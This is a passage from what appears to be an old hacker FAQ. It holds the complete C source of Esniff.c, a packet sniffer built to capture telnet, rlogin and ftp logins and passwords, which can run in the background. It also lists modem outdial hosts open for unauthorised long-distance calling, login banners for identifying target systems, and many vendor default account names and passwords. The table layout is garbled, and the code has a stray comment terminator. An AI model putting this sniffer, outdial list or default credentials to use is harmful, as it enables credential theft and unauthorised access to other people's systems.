character ``?''.
-b
Forces printing of non-graphic characters in the \ddd
notation, in octal.
Perhaps the most useful tool is to simply do an "ls -al filename" to
save the directory of the remote ftp site as a file on your local
machine. Then you can do a "cat -t -v -e filename" to see exactly
what those bizarre little characters are.
From the man page for cat:
-v Causes non-printing characters (with the exception of tabs,
newlines, and form feeds) to be displayed. Control characters
are displayed as ^X (<Ctrl>x), where X is the key pressed with
the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The
<Del> character (octal 0177) is printed as ^?. Non-ASCII
characters (with the high bit set) are printed as M -x, where
x is the character specified by the seven low order bits.
-t Causes tabs to be printed as ^I and form feeds as ^L. This
option is ignored if the -v option is not specified.
-e Causes a ``$'' character to be printed at the end of each line
(prior to the new-line). This option is ignored if the -v
option is not set.
If the directory name includes a <SPACE> or a <TAB> you will need to
enclose the entire directory name in quotes. Example:
cd "..<TAB>"
On an IBM-PC, you may enter these special characters by holding down
the <ALT> key and entering the decimal value of the special character
on your numeric keypad.
When you release the <ALT> key, the special
character should appear on your screen. An ASCII chart can be very
helpful.
Sometimes people will create directories with some of the standard
stty control characters in them, such as ^Z (suspend) or ^C (intr).
To get into those directories, you will first need to user stty to
change the control character in question to another character.
From the man page for stty:
Control assignments
control-character C
Sets control-character to C, where control-character is
erase, kill, intr (interrupt), quit, eof, eol, swtch
(switch), start, stop or susp.
start and stop are available as possible control characters for the control-character C assignment.
If C is preceded by a caret (^) (escaped from the
shell), then the value used is the corresponding control character (for example, ^D is a <Ctrl>d; ^? is
interpreted as DELETE and ^- is interpreted as undefined).
Use the stty -a command to see your current stty settings, and to
determine which one is causing you problems.
19. What is ethernet sniffing?
Ethernet sniffing is listening (with software) to the raw ethernet
device for packets that interest you. When your software sees a
packet that fits certain criteria, it logs it to a file.
The most
common criteria for an interesting packet is one that contains words
like "login" or "password."
Many ethernet sniffers are available, here are a few that may be on
your system now:
OS
Sniffer
~~
~~~~~~~
4.3/4.4 BSD
tcpdump
/* Available via anonymous ftp
*/
FreeBSD
tcpdump
/* Available via anonymous ftp at
*/
/* gatekeeper.dec.com
/* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD
tcpdump
/* Available via anonymous ftp at
*/
/* gatekeeper.dec.com
/* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix
tcpdump
/* Available via anonymous ftp
*/
DEC Ultrix
tcpdump
/* Available via anonymous ftp
*/
HP/UX
nettl (monitor)
nfswatch
/* Available via anonymous ftp
*/
tcpdump
/* Available via anonymous ftp at
*/
/* sunsite.unc.edu
*/
& netfmt (display)
Linux
/* /pub/Linux/system/Network/management/ */
SGI Irix
nfswatch
/* Available via anonymous ftp
*/
/* Available via anonymous ftp
*/
nfswatch
/* Available via anonymous ftp
*/
tcpdump
/* Available via anonymous ftp
*/
ETHLOAD
/* Available via anonymous ftp as
*/
/* ethld104.zip
*/
/* Available via anonymous ftp
*/
/* Available via anonymous ftp at
*/
Etherman
tcpdump
Solaris
snoop
tcpdump
SunOS
DOS
etherfind
The Gobbler
LanPatrol
LanWatch
Netmon
Netwatch
Netzhack
/* mistress.informatik.unibw-muenchen.de */
/* /pub/netzhack.mac
Macintosh
Etherpeek
*/
Here is source code for a sample ethernet sniffer:
/* Esniff.c */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
char
*malloc();
char
*device,
*ProgName,
*LogName;
FILE
*LOG;
int
debug=0;
#define NIT_DEV
"/dev/nit"
#define CHUNKSIZE
4096
int
if_fd = -1;
int
Packet[CHUNKSIZE+32];
/* device buffer size */
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP
((struct ip *)Packet)
#define IP_OFFSET
(0x1FFF)
#define SZETH
(sizeof(struct ether_header))
#define IPLEN
(ntohs(ip->ip_len))
#define IPHLEN
(ip->ip_hl)
#define TCPOFF
(tcph->th_off)
#define IPS
(ip->ip_src)
#define IPD
(ip->ip_dst)
#define TCPS
(tcph->th_sport)
#define TCPD
(tcph->th_dport)
#define IPeq(s,t)
((s).s_addr == (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time;
/* start time */
struct in_addr SRCip,
DSTip;
u_int
SRCport,
/* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int
Length;
/* current data length */
u_int
PKcnt;
/* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET:
p="telnet"; break;
case IPPORT_SMTP:
p="smtp"; break;
case IPPORT_FTP:
p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) {
\
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n
: "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME<tm) { \
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time <tm) \
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip
*ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short *)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}
if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
return;
}
/* ugh, gotta do an alignment :-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(!( (TCPD == IPPORT_TELNET) ||
(TCPD == IPPORT_LOGINSERVER) ||
(TCPD == IPPORT_FTP)
)) return;
{ register struct CREC *CLm;
register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char *)Packet;
p += ((IPHLEN * 4) + (TCPOFF * 4));
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}
} else {
if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
}
IDLE_NODE();
}
}
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}
/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched from etherfind */
{
struct strioctl si;
struct ifreq
ifr;
struct timeval
timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;
if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");
if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");
si.ic_timout = INFTIM;
if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp
= (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp
= (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp
= (char *)&ifr;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp
= (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}
while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);
while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;
hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your program, generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char
cbuf[BUFSIZ];
struct ifconf ifc;
int
s,
ac=1,
backg=0;
ProgName=argv[0];
/*
getauth(); */
LOG=NULL;
device=NULL;
while((ac<argc) && (argv[ac][0] == '-')) {
register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg && debug) {
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);
do_it();
}
20. What is an Internet Outdial?
An Internet outdial is a modem connected to the Internet than you can
use to dial out.
Normal outdials will only call local numbers. A GOD
(Global OutDial) is capable of calling long distance. Outdials are an
inexpensive method of calling long distance BBS's.
21. What are some Internet Outdials?
This FAQ answer is excerpted from CoTNo #5:
Internet Outdial List v3.0
by Cavalier and DisordeR
Introduction
-----------There are several lists of Internet outdials floating around the net these
days. The following is a compilation of other lists, as well as v2.0 by
DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author
just ripped other people and released it, we have sat down and tested
each one of these. Some of them we have gotten "Connection Refused" or
it timed out while trying to connect...these have been labeled dead.
Working Outdials
---------------as of 12/29/94
NPA
IP Address
Instructions
---
----------
------------
215
isn.upenn.edu
modem
217
dialout.cecer.army.mil
atdt x,xxxXXXXX
218
modem.d.umn.edu
atdt9,xxxXXXX
303
yuma.acns.colostate.edu 3020
412
myriad.pc.cc.cmu.edu 2600
Press D at the prompt
412
gate.cis.pitt.edu
tn3270,
connect dialout.pitt.edu,
atdtxxxXXXX
413
dialout2400.smith.edu
502
outdial.louisville.edu
502
uknet.uky.edu
Ctrl } gets ENTER NUMBER: xxxxxxx
connect kecnet
@ dial: "outdial2400 or out"
602
acssdial.inre.asu.edu
614
ns2400.acs.ohio-state.edu
614
ns9600.acs.ohio-state.edu
atdt8,,,,,[x][yyy]xxxyyyy
713
128.249.27.153
atdt x,xxxXXXX
714
modem.nts.uci.edu
atdt[area]0[phone]
804
ublan.virginia.edu
connect hayes, 9,,xxx-xxxx
804
ublan2.acc.virginia.edu
connect telnet
connect hayes
Need Password
------------206
rexair.cac.washington.edu
This is an unbroken password
303
yuma.ACNS.ColoState.EDU
login: modem
404
128.140.1.239
.modem8|CR
415
annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
514
cartier.CC.UMontreal.CA
externe,9+number
703
wal-3000.cns.vt.edu
dial2400 -aa
Dead/No Connect
--------------201
idsnet
202
modem.aidt.edu
204
dial.cc.umanitoba.ca
204
umnet.cc.manitoba.ca
206
dialout24.cac.washington.edu
207
modem-o.caps.maine.edu
212
B719-7e.NYU.EDU
dial3/dial12/dial24
212
B719-7f.NYU.EDU
dial3/dial12/dial24
212
DIALOUT-1.NYU.EDU
dial3/dial12/dial24
212
FREE-138-229.NYU.EDU
dial3/dial12/dial24
"dial12" or "dial24"
212
UP19-4b.NYU.EDU
dial3/dial12/dial24
215
wiseowl.ocis.temple.edu
"atz" "atdt 9xxxyyyy"
218
aa28.d.umn.edu
"cli" "rlogin modem"
at "login:" type "modem"
218
modem.d.umn.edu
Hayes 9,XXX-XXXX
301
dial9600.umd.edu
305
alcat.library.nova.edu
305
office.cis.ufl.edu
307
modem.uwyo.edu
Hayes
313
35.1.1.6
dial2400-aa or dial1200-aa
0,XXX-XXXX
or dialout
402
dialin.creighton.edu
402
modem.criegthon.edu
404
broadband.cc.emory.edu
408
dialout.scu.edu
408
dialout1200.scu.edu
408
dialout2400.scu.edu
408
dialout9600.scu.edu
413
dialout.smith.edu
414
modems.uwp.edu
416
annex132.berkely.edu
atdt 9,,,,, xxx-xxxx
416
pacx.utcs.utoronto.ca
modem
503
dialout.uvm.edu
513
dialout24.afit.af.mil
513
r596adi1.uc.edu
514
pacx.CC.UMontreal.CA
517
engdial.cl.msu.edu
602
dial9600.telcom.arizona.edu
603
dialout1200.unh.edu
604
dial24-nc00.net.ubc.ca
604
dial24-nc01.net.ubc.ca
604
dial96-np65.net.ubc.ca
604
gmodem.capcollege.bc.ca
604
hmodem.capcollege.bc.ca
609
128.119.131.11X (X= 1 - 4)
609
129.119.131.11x (x = 1 to 4)
".modem8" or ".dialout"
externe#9 9xxx-xxxx
Hayes
609
wright-modem-1.rutgers.edu
609
wright-modem-2.rutgers.edu
612
modem_out12e7.atk.com
612
modem_out24n8.atk.com
614
ns2400.ircc.ohio-state.edu
"dial"
615
dca.utk.edu
dial2400 D 99k #
615
MATHSUN23.MATH.UTK.EDU
dial 2400 d
616
modem.calvin.edu
617
128.52.30.3
617
dialout.lcs.mit.edu
617
dialout1.princeton.edu
617
isdn3.Princeton.EDU
617
jadwingymkip0.Princeton.EDU
617
lord-stanley.Princeton.EDU
617
mpanus.Princeton.EDU
617
mrmodem.wellesley.edu
617
old-dialout.Princeton.EDU
617
stagger.Princeton.EDU
617
sunshine-02.lcs.mit.edu
617
waddle.Princeton.EDU
619
128.54.30.1
atdt [area][phone]
619
dialin.ucsd.edu
"dialout"
703
modem_pool.runet.edu
703
wal-3000.cns.vt.edu
713
128.249.27.154
2400baud
"c modem96" "atdt 9xxx-xxxx"
or "Hayes"
713
modem12.bcm.tmc.edu
713
modem24.bcm.tmc.edu
713
modem24.bcm.tmc.edu
714
mdmsrv7.sdsu.edu
714
modem24.nts.uci.edu
714
pub-gopher.cwis.uci.edu
801
dswitch.byu.edu
808
irmodem.ifa.hawaii.edu
902
star.ccs.tuns.ca
916
129.137.33.72
99Kxxxxxxx
atdt 8xxx-xxxx
"C Modem"
"dialout"
916
cc-dnet.ucdavis.edu
connect hayes/dialout
916
engr-dnet1.engr.ucdavis.edu UCDNET <ret> C KEYCLUB <ret>
???
128.119.131.11X
???
128.200.142.5
???
128.54.30.1
???
128.6.1.41
???
128.6.1.42
???
129.137.33.72
???
129.180.1.57
???
140.112.3.2
???
annexdial.rz.uni-duesseldorf.de
???
dial96.ncl.ac.uk
???
dialout.plk.af.mil
???
ee21.ee.ncu.edu.tw
cs8005
???
im.mgt.ncu.edu.tw
guest
???
modem.cis.uflu.edu
???
modem.ireq.hydro.qc.ca
???
modems.csuohio.edu
???
sparc20.ncu.edu.tw
u349633
???
sun2cc.nccu.edu.tw
?
???
ts-modem.une.oz.au
???
twncu865.ncu.edu.tw
guest
???
vtnet1.cns.ut.edu
"CALL" or "call"
(1 - 4)
nue, X to discontinue, ? for Help
ntu
<none>
<none>
<none>
Conclusion
---------If you find any of the outdials to have gone dead, changed commands,
or require password, please let us know so we can keep this list as
accurate as possible. If you would like to add to the list, feel free
to mail us and it will be included in future versions of this list,
with your name beside it. Have fun...
[Editors note: Updates have been made to this document after
the original publication]
22. What is this system?
AIX
~~~
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:
[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]
[screen]
AS/400
~~~~~~
UserID?
Password?
Once in, type GO MAIN
CDC Cyber
~~~~~~~~~
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.
88/02/16. 02.36.53. N265100
CSUS CYBER 170-730.
NOS 2.5.2-678/3.
FAMILY:
You would normally just hit return at the family prompt.
USER NAME:
Next prompt is:
CISCO Router
~~~~~~~~~~~~
FIRST BANK OF TNO
95-866 TNO VirtualBank
REMOTE Router - TN043R1
Console Port
SN - 00000866
TN043R1>
DECserver
~~~~~~~~~
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700
(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved
Please type HELP if you need assistance
Enter username> TNO
Local>
Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP]
MPE XL:
(CIERR 1424)
GTN
~~~
WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX
@
PASSWORD =
@
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->
CITICORP (CITY NAME). KEY GHELP FOR HELP.
XXX.XXX
PLEASE SELECT SERVICE REQUIRED.-3->
Lantronix Terminal Server
~~~~~~~~~~~~~~~~~~~~~~~~~
Lantronix ETS16 Version V3.1/1(940623)
Type HELP at the 'Local_15> ' prompt for assistance.
Login password>
Meridian Mail (Northern Telecom Phone/Voice Mail System)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MMM
MMMMM
MMMMMM
MMM
MMMMM
MM MERIDIAN
MMMMM
MMMMMM
MMM
MMMMM
MMMMM
MMM
MMM
MMM
MMM
MMM
MMM
MMM
MMM
MMM
MMM
MMM
MMM MMMMM MMM
MMM
MMM
MMM
MMM
MMM
MMM
MMMMMM
MMM MMM MMM MMM
MMM
MMM
MMM
MMMMMM
MMM
MMM
MMM
MMM
MMM
MMM
MMM
MMM
MMM
MMM
MMM
MMM
Copyright (c) Northern Telecom, 1991
Novell ONLAN
~~~~~~~~~~~~
<Control-A aka smiley face>N
[To access the systems it is best to own a copy of ONLAN/PC]
PC-Anywhere
~~~~~~~~~~~
<Control-A aka smiley face>P
[To access the systems it is best to own a copy of PCAnywhere Remote]
PRIMOS
~~~~~~
PRIMENET 19.2.7F PPOA1
<any text>
ER!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
CONNECT
Primenet V 2.3
(system)
LOGIN
(you)
User id?
(system)
SAPB5
(you)
Password?
(system)
DROWSAP
(you)
OK,
(system)
ROLM CBX II
~~~~~~~~~~~
ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568
BIND DATE: 7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY.
ALL RIGHTS RESERVED.
ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.
YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995
USERNAME: op
PASSWORD:
INVALID USERNAME-PASSWORD PAIR
ROLM-OSL
~~~~~~~~
MARAUDER10292 01/09/85(^G) 1 03/10/87
RELEASE 8003
OSL, PLEASE.
?
System75
00:29:47
~~~~~~~~
Login: root
INCORRECT LOGIN
Login: browse
Password:
Software Version: G3s.b16.2.2
Terminal Type (513, 4410, 4425): [513]
Tops-10
~~~~~~~
NIH Timesharing
NIH Tri-SMP 7.02-FF 16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.
VM/370
~~~~~~
VM/370
!
VM/ESA
~~~~~~
VM/ESA ONLINE
TBVM2 VM/ESA Rel 1.1
Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
PUT 9200
USERID
===>
PASSWORD ===>
COMMAND
===>
Xylogics Annex Communications Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter
*
Copyright 1991 Xylogics, Inc.
Checking authorization, Please wait...
-
Annex username: TNO
- Optional security check
Annex password:
-
Not always present
Permission granted
annex:
23. What are the default accounts for XXX?
AIX
~~~
guest
guest
AS/400
~~~~~~
qsecofr
qsecofr
/* master security officer */
qsysopr
qsysopr
/* system operator
*/
qpgmr
qpgmr
/* default programmer
*/
also
ibm
password
ibm
2222
ibm
service
qsecofr
1111111
qsecofr
2222222
qserv
qserv
qsvr
qsvr
secofr
secofr
qsrv
ibmce1
DECserver
~~~~~~~~~
ACCESS
SYSTEM
Dynix (The library software, not the UnixOS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Type 'later' to exit to the login prompt)
setup
<no password>
library
<no password>
circ
<Social Security Number>
Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO
MANAGER.SYS
HELLO
MGR.SYS
HELLO
FIELD.SUPPORT
HELLO
OP.OPERATOR
MGR
CAROLIAN
MGR
CCC
MGR
CNAS
MGR
CONV
MGR
COGNOS
OPERATOR
COGNOS
MANAGER
COGNOS
HPUNSUP or SUPPORT or HP
OPERATOR
DISC
MGR
HPDESK
MGR
HPWORD
FIELD
HPWORD
MGR
HPOFFICE
SPOOLMAN
HPOFFICE
ADVMAIL
HPOFFICE
MAIL
HPOFFICE
WP
HPOFFICE
MANAGER
HPOFFICE
MGR
HPONLY
FIELD
HPP187
MGR
HPP187
MGR
HPP189
MGR
HPP196
MGR
INTX3
MGR
ITF3000
MANAGER
ITF3000
MAIL
MAIL
MGR
NETBASE
MGR
REGO
MGR
RJE
MGR
ROBELLE
MANAGER
SECURITY
MGR
SECURITY
FIELD
SERVICE
MANAGER
SYS
MGR
SYS
PCUSER
SYS
RSBCMON
SYS
OPERATOR
SYS
OPERATOR
SYSTEM
FIELD
SUPPORT
OPERATOR
SUPPORT
MANAGER
TCH
MAIL
TELESUP
MANAGER
TELESUP
MGR
TELESUP
SYS
TELESUP
MGE
VESOFT
MGE
VESOFT
MGR
WORD
MGR
XLSERVER
Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote
Major BBS
~~~~~~~~~
Sysop
Sysop
Mitel PBX
~~~~~~~~~
SYSTEM
NeXTSTEP
~~~~~~~~
root
NeXT
signa
signa
me
<null> (Rumored to be correct, not checked)
Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
fax
PICK O/S
~~~~~~~~
<no password>
DSA
# Desquetop System Administrator
DS
DESQUETOP
PHANTOM
Prolog
~~~~~~
PBX
PBX
NETWORK
NETWORK
NETOP
<null>
Radio Shack Screen Savers
~~~~~~~~~~~~~~~~~~~~~~~~~
RS<STORE_ID_NUMBER>
Rolm
~~~~
CBX Defaults
op
op
op
operator
su
super
admin
pwp
eng
engineer
PhoneMail Defaults
sysadmin
